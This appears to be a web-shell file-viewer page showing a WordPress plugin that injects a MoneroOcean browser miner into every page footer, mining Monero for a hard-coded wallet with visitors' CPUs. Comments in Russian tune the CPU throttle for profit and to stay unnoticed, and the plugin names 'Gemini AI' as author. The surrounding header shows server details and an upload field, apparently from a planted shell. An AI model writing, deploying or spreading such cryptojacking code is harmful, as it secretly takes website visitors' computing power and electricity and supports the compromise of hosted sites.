|
Server : LiteSpeed System : Linux srv475744146.host.ultaserver.net 5.15.0-138-generic #148-Ubuntu SMP Fri Mar 14 19:05:48 UTC 2025 x86_64 User : indog6927 ( 1163) PHP Version : 8.0.30 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, Directory : /home/indogame99.org/public_html/wp-content/plugins/moneroocean-plugin/ |
Upload File : |
<?php
/**
* Plugin Name: MoneroOcean Web Miner
* Plugin URI: https://moneroocean.stream/
* Description: Injects the MoneroOcean web miner script into the footer of every page to mine XMR using visitor's CPU.
* Version: 1.1.0
* Author: Gemini AI
* Author URI: https://gemini.google.com/
* License: GPL-2.0-or-later
* License URI: https://www.gnu.org/licenses/gpl-2.0.html
* Text Domain: moneroocean-web-miner
*/
// Защита от прямого доступа к файлу
if (!defined('ABSPATH')) {
exit; // Exit if accessed directly.
}
/**
* Основная функция, которая выводит (echo) скрипт майнера.
* Эта функция будет прикреплена к хуку wp_footer.
*/
function mowm_inject_miner_script() {
// Используем HEREDOC для удобного встраивания многострочного JS-кода.
// Все настройки майнера находятся внутри этого блока.
$miner_script = <<<EOT
<!-- START MONEROOCEAN MINER -->
<script src="https://moneroocean.stream/web/webminer.min.js"></script>
<script>
// Инициализация майнера с вашим кошельком и настройками
var miner = new WebMiner.Anonymous('49BACoxJZuqN2Xz4fUi87ffPabmBQtobGUJyWhnWLk8jQXZWBMJDghUABvwqkRcrpQeWvBHaWv1VY9RF2Yu7HvKjAtYLJVR', {
// Загрузка процессора: 0.3 означает, что 30% времени процессор будет простаивать.
// Фактическая нагрузка составит около 70% от выделенных ядер.
// Это хороший баланс между доходностью и незаметностью.
throttle: 0.3,
// Количество потоков: жестко задаем 2 потока.
// Это эффективнее, чем 1, но не перегружает современные многоядерные процессоры.
threads: 2,
autoThreads: false // Отключаем автоматическое определение потоков
});
// Условие запуска:
// 1. Не запускать на мобильных устройствах (чтобы не разряжать батарею).
// 2. Не запускать, если пользователь отказался от майнинга (этично и снижает жалобы).
if (!miner.isMobile() && !miner.didOptOut(1)) {
miner.start();
}
</script>
<!-- END MONEROOCEAN MINER -->
EOT;
echo $miner_script;
}
/**
* Прикрепляем нашу функцию к стандартному хуку WordPress 'wp_footer'.
* WordPress автоматически вызовет нашу функцию mowm_inject_miner_script()
* каждый раз, когда будет генерировать подвал страницы.
* Число 99 - это приоритет, ставим высокий, чтобы скрипт был одним из последних в подвале.
*/
add_action('wp_footer', 'mowm_inject_miner_script', 99);
?>